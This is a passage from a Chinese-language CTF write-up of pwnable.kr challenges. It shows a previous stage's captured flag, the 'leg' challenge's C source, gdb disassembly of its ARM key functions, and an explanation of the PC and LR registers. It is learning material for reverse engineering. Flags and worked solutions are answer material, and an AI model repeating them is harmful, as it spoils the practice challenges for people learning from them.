</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">Stage 5 clear!
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">Mommy_now_I_know_how_to_pa5s_inputs_in_Linux
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="leg">leg<a class="anchor" href="#leg">#</a></h3>
<blockquote>
<p>Daddy told me I should study ARM architecture.
But I know Intel architecture and it should be similar.
Why bother to study ARM?</p>
<p>Download : <a
  href="http://pwnable.kr/bin/leg.c" rel="nofollow noopener noreferrer" target="_blank"
  >http://pwnable.kr/bin/leg.c<span style="user-select:none"> ↗</span></a
>

Download : <a
  href="http://pwnable.kr/bin/leg.asm" rel="nofollow noopener noreferrer" target="_blank"
  >http://pwnable.kr/bin/leg.asm<span style="user-select:none"> ↗</span></a
>
</p>
<p>ssh <a
  href="mailto:leg@pwnable.kr"
  >leg@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<p>源码</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kt">int</span> <span class="nf">key1</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">        <span class="k">asm</span><span class="p">(</span><span class="s">&#34;mov r3, pc</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="kt">int</span> <span class="nf">key2</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="k">asm</span><span class="p">(</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="s">&#34;push   {r6}</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="s">&#34;add    r6, pc, $1</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="s">&#34;bx     r6</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="s">&#34;.code   16</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="s">&#34;mov    r3, pc</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="s">&#34;add    r3, $0x4</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="s">&#34;push   {r3}</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="s">&#34;pop    {pc}</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="s">&#34;.code  32</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="s">&#34;pop    {r6}</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="p">);</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="kt">int</span> <span class="nf">key3</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="k">asm</span><span class="p">(</span><span class="s">&#34;mov r3, lr</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="kt">int</span> <span class="n">key</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Daddy has very strong arm! : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">key</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="p">(</span><span class="nf">key1</span><span class="p">()</span><span class="o">+</span><span class="nf">key2</span><span class="p">()</span><span class="o">+</span><span class="nf">key3</span><span class="p">())</span> <span class="o">==</span> <span class="n">key</span> <span class="p">){</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Congratz!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">                <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="nf">open</span><span class="p">(</span><span class="s">&#34;flag&#34;</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">                <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">                <span class="kt">int</span> <span class="n">r</span> <span class="o">=</span> <span class="nf">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">                <span class="nf">write</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">r</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;I have strong leg :P</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>汇编</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">(gdb) disass main
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">Dump of assembler code for function main:
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">   0x00008d3c &lt;+0&gt;:     push    {r4, r11, lr}
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">   0x00008d40 &lt;+4&gt;:     add     r11, sp, #8
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">   0x00008d44 &lt;+8&gt;:     sub     sp, sp, #12
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">   0x00008d48 &lt;+12&gt;:    mov     r3, #0
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">   0x00008d4c &lt;+16&gt;:    str     r3, [r11, #-16]
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">   0x00008d50 &lt;+20&gt;:    ldr     r0, [pc, #104]  ; 0x8dc0 &lt;main+132&gt;
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">   0x00008d54 &lt;+24&gt;:    bl      0xfb6c &lt;printf&gt;
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">   0x00008d58 &lt;+28&gt;:    sub     r3, r11, #16
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">   0x00008d5c &lt;+32&gt;:    ldr     r0, [pc, #96]   ; 0x8dc4 &lt;main+136&gt;
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">   0x00008d60 &lt;+36&gt;:    mov     r1, r3
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">   0x00008d64 &lt;+40&gt;:    bl      0xfbd8 &lt;__isoc99_scanf&gt;
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">   0x00008d68 &lt;+44&gt;:    bl      0x8cd4 &lt;key1&gt;
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">   0x00008d6c &lt;+48&gt;:    mov     r4, r0
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">   0x00008d70 &lt;+52&gt;:    bl      0x8cf0 &lt;key2&gt;
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">   0x00008d74 &lt;+56&gt;:    mov     r3, r0
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">   0x00008d78 &lt;+60&gt;:    add     r4, r4, r3
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">   0x00008d7c &lt;+64&gt;:    bl      0x8d20 &lt;key3&gt;
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">   0x00008d80 &lt;+68&gt;:    mov     r3, r0
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">   0x00008d84 &lt;+72&gt;:    add     r2, r4, r3
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">   0x00008d88 &lt;+76&gt;:    ldr     r3, [r11, #-16]
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">   0x00008d8c &lt;+80&gt;:    cmp     r2, r3
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">   0x00008d90 &lt;+84&gt;:    bne     0x8da8 &lt;main+108&gt;
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">   0x00008d94 &lt;+88&gt;:    ldr     r0, [pc, #44]   ; 0x8dc8 &lt;main+140&gt;
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="go">   0x00008d98 &lt;+92&gt;:    bl      0x1050c &lt;puts&gt;
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="go">   0x00008d9c &lt;+96&gt;:    ldr     r0, [pc, #40]   ; 0x8dcc &lt;main+144&gt;
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="go">   0x00008da0 &lt;+100&gt;:   bl      0xf89c &lt;system&gt;
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="go">   0x00008da4 &lt;+104&gt;:   b       0x8db0 &lt;main+116&gt;
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="go">   0x00008da8 &lt;+108&gt;:   ldr     r0, [pc, #32]   ; 0x8dd0 &lt;main+148&gt;
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="go">   0x00008dac &lt;+112&gt;:   bl      0x1050c &lt;puts&gt;
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="go">   0x00008db0 &lt;+116&gt;:   mov     r3, #0
</span></span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="go">   0x00008db4 &lt;+120&gt;:   mov     r0, r3
</span></span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="go">   0x00008db8 &lt;+124&gt;:   sub     sp, r11, #8
</span></span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="go">   0x00008dbc &lt;+128&gt;:   pop     {r4, r11, pc}
</span></span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="go">   0x00008dc0 &lt;+132&gt;:   andeq   r10, r6, r12, lsl #9
</span></span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="go">   0x00008dc4 &lt;+136&gt;:   andeq   r10, r6, r12, lsr #9
</span></span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="go">   0x00008dc8 &lt;+140&gt;:                   ; &lt;UNDEFINED&gt; instruction: 0x0006a4b0
</span></span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="go">   0x00008dcc &lt;+144&gt;:                   ; &lt;UNDEFINED&gt; instruction: 0x0006a4bc
</span></span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="go">   0x00008dd0 &lt;+148&gt;:   andeq   r10, r6, r4, asr #9
</span></span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="go">End of assembler dump.
</span></span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="go">(gdb) disass key1
</span></span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="go">Dump of assembler code for function key1:
</span></span></span><span class="line"><span class="ln">44</span><span class="cl"><span class="go">   0x00008cd4 &lt;+0&gt;:     push    {r11}           ; (str r11, [sp, #-4]!)
</span></span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="go">   0x00008cd8 &lt;+4&gt;:     add     r11, sp, #0
</span></span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="go">   0x00008cdc &lt;+8&gt;:     mov     r3, pc
</span></span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="go">   0x00008ce0 &lt;+12&gt;:    mov     r0, r3
</span></span></span><span class="line"><span class="ln">48</span><span class="cl"><span class="go">   0x00008ce4 &lt;+16&gt;:    sub     sp, r11, #0
</span></span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="go">   0x00008ce8 &lt;+20&gt;:    pop     {r11}           ; (ldr r11, [sp], #4)
</span></span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="go">   0x00008cec &lt;+24&gt;:    bx      lr
</span></span></span><span class="line"><span class="ln">51</span><span class="cl"><span class="go">End of assembler dump.
</span></span></span><span class="line"><span class="ln">52</span><span class="cl"><span class="go">(gdb) disass key2
</span></span></span><span class="line"><span class="ln">53</span><span class="cl"><span class="go">Dump of assembler code for function key2:
</span></span></span><span class="line"><span class="ln">54</span><span class="cl"><span class="go">   0x00008cf0 &lt;+0&gt;:     push    {r11}           ; (str r11, [sp, #-4]!)
</span></span></span><span class="line"><span class="ln">55</span><span class="cl"><span class="go">   0x00008cf4 &lt;+4&gt;:     add     r11, sp, #0
</span></span></span><span class="line"><span class="ln">56</span><span class="cl"><span class="go">   0x00008cf8 &lt;+8&gt;:     push    {r6}            ; (str r6, [sp, #-4]!)
</span></span></span><span class="line"><span class="ln">57</span><span class="cl"><span class="go">   0x00008cfc &lt;+12&gt;:    add     r6, pc, #1
</span></span></span><span class="line"><span class="ln">58</span><span class="cl"><span class="go">   0x00008d00 &lt;+16&gt;:    bx      r6
</span></span></span><span class="line"><span class="ln">59</span><span class="cl"><span class="go">   0x00008d04 &lt;+20&gt;:    mov     r3, pc
</span></span></span><span class="line"><span class="ln">60</span><span class="cl"><span class="go">   0x00008d06 &lt;+22&gt;:    adds    r3, #4
</span></span></span><span class="line"><span class="ln">61</span><span class="cl"><span class="go">   0x00008d08 &lt;+24&gt;:    push    {r3}
</span></span></span><span class="line"><span class="ln">62</span><span class="cl"><span class="go">   0x00008d0a &lt;+26&gt;:    pop     {pc}
</span></span></span><span class="line"><span class="ln">63</span><span class="cl"><span class="go">   0x00008d0c &lt;+28&gt;:    pop     {r6}            ; (ldr r6, [sp], #4)
</span></span></span><span class="line"><span class="ln">64</span><span class="cl"><span class="go">   0x00008d10 &lt;+32&gt;:    mov     r0, r3
</span></span></span><span class="line"><span class="ln">65</span><span class="cl"><span class="go">   0x00008d14 &lt;+36&gt;:    sub     sp, r11, #0
</span></span></span><span class="line"><span class="ln">66</span><span class="cl"><span class="go">   0x00008d18 &lt;+40&gt;:    pop     {r11}           ; (ldr r11, [sp], #4)
</span></span></span><span class="line"><span class="ln">67</span><span class="cl"><span class="go">   0x00008d1c &lt;+44&gt;:    bx      lr
</span></span></span><span class="line"><span class="ln">68</span><span class="cl"><span class="go">End of assembler dump.
</span></span></span><span class="line"><span class="ln">69</span><span class="cl"><span class="go">(gdb) disass key3
</span></span></span><span class="line"><span class="ln">70</span><span class="cl"><span class="go">Dump of assembler code for function key3:
</span></span></span><span class="line"><span class="ln">71</span><span class="cl"><span class="go">   0x00008d20 &lt;+0&gt;:     push    {r11}           ; (str r11, [sp, #-4]!)
</span></span></span><span class="line"><span class="ln">72</span><span class="cl"><span class="go">   0x00008d24 &lt;+4&gt;:     add     r11, sp, #0
</span></span></span><span class="line"><span class="ln">73</span><span class="cl"><span class="go">   0x00008d28 &lt;+8&gt;:     mov     r3, lr
</span></span></span><span class="line"><span class="ln">74</span><span class="cl"><span class="go">   0x00008d2c &lt;+12&gt;:    mov     r0, r3
</span></span></span><span class="line"><span class="ln">75</span><span class="cl"><span class="go">   0x00008d30 &lt;+16&gt;:    sub     sp, r11, #0
</span></span></span><span class="line"><span class="ln">76</span><span class="cl"><span class="go">   0x00008d34 &lt;+20&gt;:    pop     {r11}           ; (ldr r11, [sp], #4)
</span></span></span><span class="line"><span class="ln">77</span><span class="cl"><span class="go">   0x00008d38 &lt;+24&gt;:    bx      lr
</span></span></span><span class="line"><span class="ln">78</span><span class="cl"><span class="go">End of assembler dump.
</span></span></span><span class="line"><span class="ln">79</span><span class="cl"><span class="go">(gdb) 
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这道题看源码反而不清晰，要看汇编。这三个函数给了汇编，三个函数返回值加起来就是我们要输入的值，这三个值是由寄存器里的值决定的，而且是专门记录程序地址的寄存器，这里是写死的。</p>
<blockquote>
<p>PC(R15)：程序计数器，存下一条指令的地址<br>
LR(R14)：链接寄存器，存函数调用的返回地址<br>
R0：ARM 中int函数的返回值寄存器（函数返回值存在这里）</p>
<p>指令集：.code 32=32 位 ARM 指令，.code 16=16 位 Thumb 指令</p>
</blockquote>
<p>看key1的汇编：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">(gdb) disass key1
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">Dump of assembler code for function key1:
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">   0x00008cd4 &lt;+0&gt;:     push    {r11}           ; (str r11, [sp, #-4]!)
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">   0x00008cd8 &lt;+4&gt;:     add     r11, sp, #0
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">   0x00008cdc &lt;+8&gt;:     mov     r3, pc
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">   0x00008ce0 &lt;+12&gt;:    mov     r0, r3
